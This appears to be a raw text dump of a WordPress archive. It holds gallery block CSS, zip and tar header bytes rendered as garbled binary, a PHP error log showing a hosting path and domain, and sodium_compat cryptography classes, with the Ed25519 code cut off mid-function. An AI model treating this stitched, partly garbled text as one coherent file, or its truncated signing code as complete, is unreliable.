  .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{
    margin-right:1em;
    width:calc(25% - .75em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{
    margin-right:1em;
    width:calc(20% - .8em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{
    margin-right:1em;
    width:calc(16.66667% - .83333em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{
    margin-right:1em;
    width:calc(14.28571% - .85714em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{
    margin-right:1em;
    width:calc(12.5% - .875em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){
    margin-right:0;
  }
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{
  margin-right:0;
}
.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{
  max-width:420px;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{
  justify-content:center;
}

.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{
  align-self:flex-start;
}

figure.wp-block-gallery.has-nested-images{
  align-items:normal;
}

.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){
  margin:0;
  width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2);
}
.wp-block-gallery.has-nested-images figure.wp-block-image{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  max-width:100%;
  position:relative;
}
.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{
  flex-direction:column;
  flex-grow:1;
  margin:0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image img{
  display:block;
  height:auto;
  max-width:100% !important;
  width:auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{
  bottom:0;
  left:0;
  max-height:100%;
  position:absolute;
  right:0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{
  -webkit-backdrop-filter:blur(3px);
          backdrop-filter:blur(3px);
  content:"";
  height:100%;
  -webkit-mask-image:linear-gradient(0deg, #000 20%, #0000);
          mask-image:linear-gradient(0deg, #000 20%, #0000);
  max-height:40%;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
  background:linear-gradient(0deg, #0006, #0000);
  box-sizing:border-box;
  color:#fff;
  font-size:13px;
  margin:0;
  overflow:auto;
  padding:1em;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  text-align:center;
  text-shadow:0 0 1.5px #000;
  will-change:transform;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{
  background-color:#fffc;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{
  scrollbar-color:#fffc #0000;
}
@media (hover:none){
  .wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
    scrollbar-color:#fffc #0000;
  }
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{
  display:inline;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{
  color:inherit;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{
  flex:1 1 auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{
  background:none;
  color:inherit;
  flex:initial;
  margin:0;
  padding:10px 10px 9px;
  position:relative;
  text-shadow:none;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border:before,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded:before{
  content:none;
}
.wp-block-gallery.has-nested-images figcaption{
  flex-basis:100%;
  flex-grow:1;
  text-align:center;
}
.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){
  margin-bottom:auto;
  margin-top:0;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){
  align-self:inherit;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){
  display:flex;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{
  flex:1 0 0%;
  height:100%;
  object-fit:cover;
  width:100%;
}
.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){
  width:100%;
}
@media (min-width:600px){
  .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){
    width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){
    width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75);
  }
  .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){
    width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8);
  }
  .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){
    width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333);
  }
  .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){
    width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714);
  }
  .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){
    width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){
    width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){
    width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{
    width:100%;
  }
}
.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-gallery.has-nested-images.aligncenter{
  justify-content:center;
}PK\d[rɓ��editor.min.cssnu�[���:root :where(figure.wp-block-gallery){display:block}:root :where(figure.wp-block-gallery)>.blocks-gallery-caption{flex:0 0 100%}:root :where(figure.wp-block-gallery)>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error{display:block}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content{margin:4px 0}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss{position:absolute;right:5px;top:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder{margin:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label{display:flex}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption{z-index:2}:root :where(figure.wp-block-gallery) .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.gallery-settings-buttons .components-button:first-child{margin-right:8px}.gallery-image-sizes .components-base-control__label{margin-bottom:4px}.gallery-image-sizes .gallery-image-sizes__loading{align-items:center;color:#757575;display:flex;font-size:12px}.gallery-image-sizes .components-spinner{margin:0 8px 0 4px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end}PK\d[k]r��editor-rtl.min.cssnu�[���PK\d[#di���
>	theme-rtl.cssnu�[���PK\d[�
�3{{
theme-rtl.min.cssnu�[���PK\d[�
�3{{
�
theme.min.cssnu�[���PK\d[#di���	{theme.cssnu�[���PK\d[Bvt->->@style-rtl.min.cssnu�[���PK\d[M40g�	�	�Jeditor-rtl.cssnu�[���PK\d[O�'�7>7>
�Tstyle.min.cssnu�[���PK\d[}?$�	�	
:�editor.cssnu�[���PK\d[���
N�block.jsonnu�[���PK\d[��;�.A.A
x�style-rtl.cssnu�[���PK\d[�g*8A8A	��style.cssnu�[���PK\d[rɓ��T,editor.min.cssnu�[���PK

��514338/src.tar000064400266665000151024420100006537 0ustar00error_log000064400000007730151024233030006461 0ustar00[28-Oct-2025 08:22:29 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\HookManager" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php on line 19
[28-Oct-2025 21:32:03 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\HookManager" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php on line 19
[28-Oct-2025 21:47:42 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\HookManager" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php on line 19
[28-Oct-2025 22:02:16 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\HookManager" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php on line 19
[01-Nov-2025 07:53:11 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\HookManager" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php on line 19
[01-Nov-2025 23:50:19 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\HookManager" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php on line 19
[02-Nov-2025 13:06:34 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\HookManager" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php on line 19
[02-Nov-2025 13:25:37 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\HookManager" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php on line 19
[02-Nov-2025 17:55:04 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\HookManager" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php on line 19
[03-Nov-2025 11:12:21 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\HookManager" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php on line 19
[03-Nov-2025 11:25:17 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\HookManager" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php on line 19
[03-Nov-2025 22:23:50 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\HookManager" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Hooks.php on line 19
Core/SecretStream/State.php000064400000007050151024233030011621 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core_SecretStream_State
 */
class ParagonIE_Sodium_Core_SecretStream_State
{
    /** @var string $key */
    protected $key;

    /** @var int $counter */
    protected $counter;

    /** @var string $nonce */
    protected $nonce;

    /** @var string $_pad */
    protected $_pad;

    /**
     * ParagonIE_Sodium_Core_SecretStream_State constructor.
     * @param string $key
     * @param string|null $nonce
     */
    public function __construct($key, $nonce = null)
    {
        $this->key = $key;
        $this->counter = 1;
        if (is_null($nonce)) {
            $nonce = str_repeat("\0", 12);
        }
        $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);;
        $this->_pad = str_repeat("\0", 4);
    }

    /**
     * @return self
     */
    public function counterReset()
    {
        $this->counter = 1;
        $this->_pad = str_repeat("\0", 4);
        return $this;
    }

    /**
     * @return string
     */
    public function getKey()
    {
        return $this->key;
    }

    /**
     * @return string
     */
    public function getCounter()
    {
        return ParagonIE_Sodium_Core_Util::store32_le($this->counter);
    }

    /**
     * @return string
     */
    public function getNonce()
    {
        if (!is_string($this->nonce)) {
            $this->nonce = str_repeat("\0", 12);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($this->nonce) !== 12) {
            $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT);
        }
        return $this->nonce;
    }

    /**
     * @return string
     */
    public function getCombinedNonce()
    {
        return $this->getCounter() .
            ParagonIE_Sodium_Core_Util::substr($this->getNonce(), 0, 8);
    }

    /**
     * @return self
     */
    public function incrementCounter()
    {
        ++$this->counter;
        return $this;
    }

    /**
     * @return bool
     */
    public function needsRekey()
    {
        return ($this->counter & 0xffff) === 0;
    }

    /**
     * @param string $newKeyAndNonce
     * @return self
     */
    public function rekey($newKeyAndNonce)
    {
        $this->key = ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 0, 32);
        $this->nonce = str_pad(
            ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 32),
            12,
            "\0",
            STR_PAD_RIGHT
        );
        return $this;
    }

    /**
     * @param string $str
     * @return self
     */
    public function xorNonce($str)
    {
        $this->nonce = ParagonIE_Sodium_Core_Util::xorStrings(
            $this->getNonce(),
            str_pad(
                ParagonIE_Sodium_Core_Util::substr($str, 0, 8),
                12,
                "\0",
                STR_PAD_RIGHT
            )
        );
        return $this;
    }

    /**
     * @param string $string
     * @return self
     */
    public static function fromString($string)
    {
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            ParagonIE_Sodium_Core_Util::substr($string, 0, 32)
        );
        $state->counter = ParagonIE_Sodium_Core_Util::load_4(
            ParagonIE_Sodium_Core_Util::substr($string, 32, 4)
        );
        $state->nonce = ParagonIE_Sodium_Core_Util::substr($string, 36, 12);
        $state->_pad = ParagonIE_Sodium_Core_Util::substr($string, 48, 8);
        return $state;
    }

    /**
     * @return string
     */
    public function toString()
    {
        return $this->key .
            $this->getCounter() .
            $this->nonce .
            $this->_pad;
    }
}
Core/Ed25519.php000064400000042114151024233030007076 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Ed25519', false)) {
    return;
}
if (!class_exists('ParagonIE_Sodium_Core_Curve25519', false)) {
    require_once dirname(__FILE__) . '/Curve25519.php';
}

/**
 * Class ParagonIE_Sodium_Core_Ed25519
 */
abstract class ParagonIE_Sodium_Core_Ed25519 extends ParagonIE_Sodium_Core_Curve25519
{
    const KEYPAIR_BYTES = 96;
    const SEED_BYTES = 32;
    const SCALAR_BYTES = 32;

    /**
     * @internal You should not use this directly from another application
     *
     * @return string (96 bytes)
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keypair()
    {
        $seed = random_bytes(self::SEED_BYTES);
        $pk = '';
        $sk = '';
        self::seed_keypair($pk, $sk, $seed);
        return $sk . $pk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $pk
     * @param string $sk
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function seed_keypair(&$pk, &$sk, $seed)
    {
        if (self::strlen($seed) !== self::SEED_BYTES) {
            throw new RangeException('crypto_sign keypair seed must be 32 bytes long');
        }

        /** @var string $pk */
        $pk = self::publickey_from_secretkey($seed);
        $sk = $seed . $pk;
        return $sk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function secretkey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96 bytes long');
        }
        return self::substr($keypair, 0, 64);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function publickey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96 bytes long');
        }
        return self::substr($keypair, 64, 32);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function publickey_from_secretkey($sk)
    {
        /** @var string $sk */
        $sk = hash('sha512', self::substr($sk, 0, 32), true);
        $sk[0] = self::intToChr(
            self::chrToInt($sk[0]) & 248
        );
        $sk[31] = self::intToChr(
            (self::chrToInt($sk[31]) & 63) | 64
        );
        return self::sk_to_pk($sk);
    }

    /**
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pk_to_curve25519($pk)
    {
        if (self::small_order($pk)) {
            throw new SodiumException('Public key is on a small order');
        }
        $A = self::ge_frombytes_negate_vartime(self::substr($pk, 0, 32));
        $p1 = self::ge_mul_l($A);
        if (!self::fe_isnonzero($p1->X)) {
            throw new SodiumException('Unexpected zero result');
        }

        # fe_1(one_minus_y);
        # fe_sub(one_minus_y, one_minus_y, A.Y);
        # fe_invert(one_minus_y, one_minus_y);
        $one_minux_y = self::fe_invert(
            self::fe_sub(
                self::fe_1(),
                $A->Y
            )
        );

        # fe_1(x);
        # fe_add(x, x, A.Y);
        # fe_mul(x, x, one_minus_y);
        $x = self::fe_mul(
            self::fe_add(self::fe_1(), $A->Y),
            $one_minux_y
        );

        # fe_tobytes(curve25519_pk, x);
        return self::fe_tobytes($x);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sk_to_pk($sk)
    {
        return self::ge_p3_tobytes(
            self::ge_scalarmult_base(
                self::substr($sk, 0, 32)
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        /** @var string $signature */
        $signature = self::sign_detached($message, $sk);
        return $signature . $message;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message A signed message
     * @param string $pk      Public key
     * @return string         Message (without signature)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($message, $pk)
    {
        /** @var string $signature */
        $signature = self::substr($message, 0, 64);

        /** @var string $message */
        $message = self::substr($message, 64);

        if (self::verify_detached($signature, $message, $pk)) {
            return $message;
        }
        throw new SodiumException('Invalid signature');
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        # crypto_hash_sha512(az, sk, 32);
        $az =  hash('sha512', self::substr($sk, 0, 32), true);

        # az[0] &= 248;
        # az[31] &= 63;
        # az[31] |= 64;
        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, az + 32, 32);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, nonce);
        $hs = hash_init('sha512');
        hash_update($hs, self::substr($az, 32, 32));
        hash_update($hs, $message);
        $nonceHash = hash_final($hs, true);

        # memmove(sig + 32, sk + 32, 32);
        $pk = self::substr($sk, 32, 32);

        # sc_reduce(nonce);
        # ge_scalarmult_base(&R, nonce);
        # ge_p3_tobytes(sig, &R);
        $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = self::ge_p3_tobytes(
            self::ge_scalarmult_base($nonce)
        );

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, sig, 64);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, hram);
        $hs = hash_init('sha512');
        hash_update($hs, self::substr($sig, 0, 32));
        hash_update($hs, self::substr($pk, 0, 32));
        hash_update($hs, $message);
        $hramHash = hash_final($hs, true);

        # sc_reduce(hram);
        # sc_muladd(sig + 32, hram, az, nonce);
        $hram = self::sc_reduce($hramHash);
        $sigAfter = self::sc_muladd($hram, $az, $nonce);
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        return $sig;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sig
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_detached($sig, $message, $pk)
    {
        if (self::strlen($sig) < 64) {
            throw new SodiumException('Signature is too short');
        }
        if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S < L - Invalid signature');
        }
        if (self::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($pk[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */
        $A = self::ge_frombytes_negate_vartime($pk);

        /** @var string $hDigest */
        $hDigest = hash(
            'sha512',
            self::substr($sig, 0, 32) .
                self::substr($pk, 0, 32) .
                $message,
            true
        );

        /** @var string $h */
        $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32);

